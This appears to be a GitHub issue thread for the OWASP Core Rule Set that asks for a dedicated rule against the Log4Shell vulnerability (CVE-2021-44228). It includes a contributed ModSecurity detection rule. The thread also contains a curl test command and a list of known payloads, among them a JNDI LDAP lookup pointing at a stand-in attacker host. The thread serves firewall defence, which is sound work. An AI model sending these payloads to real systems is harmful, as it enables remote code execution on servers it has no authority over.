Rule against CVE-2021-44228

Motivation

A thread was started in #2330 regarding the Log4J CVE. This issue is to track the request for a specialized rule for it. Currently it is blocked with the following result:

$ curl -H "x-format-output: txt-matched-rules" -H "x-crs-version: 3.3.2" \
--data 'foo=${jndi:ldap://attacker.com/a}' \
https://sandbox.coreruleset.org/
932130 PL1 Remote Command Execution: Unix Shell Expression Found
949110 PL1 Inbound Anomaly Score Exceeded (Total Score: 5)

Proposed solution

Maybe create a specific rule to block log4j Formatting Type payloads

Alternatives

Additional context

Known Payloads:

${java:vm}
${jndi:ldap://attacker.com/a}

https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps https://www.techtimes.com/articles/269208/20211210/minecraft-vulnerability-spotted-how-to-fix-log4j-bug.htm https://www.cve.org/CVERecord?id=CVE-2021-44228

[dune73]

New blog post about CRS and this vulnerability:

https://coreruleset.org/20211213/crs-and-log4j-log4shell-cve-2021-44228/

[dune73]

Got this as a contribution from a commercial integrator.

SecRule
REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  \
    "@rx \${jndi:(?:ldap|iiop|rmi)://}" \
    "id:CVE_202144228,\
    phase:2,\
    block,\
    t:none,t:lowercase,t:urlDecodeUni,\
    multimatch,\
    log,\
    msg:'Remote Command Execution: Log4j CVE-2021-44228', \
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
    tag:'application-multi',\
    tag:'language-java',\
    tag:'platform-multi',\
    tag:'attack-rce',\
    tag:'OWASP_CRS',\
    tag:'capec/1000/152/137/6',\
    tag:'PCI/6.5.2',\
    tag:'paranoia-level/1',\
    ver:'OWASP_CRS/3.3.x',\
    severity:'CRITICAL',\
    setvar:'tx.rce_score=+%{tx.critical_anomaly_score}',\
    setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"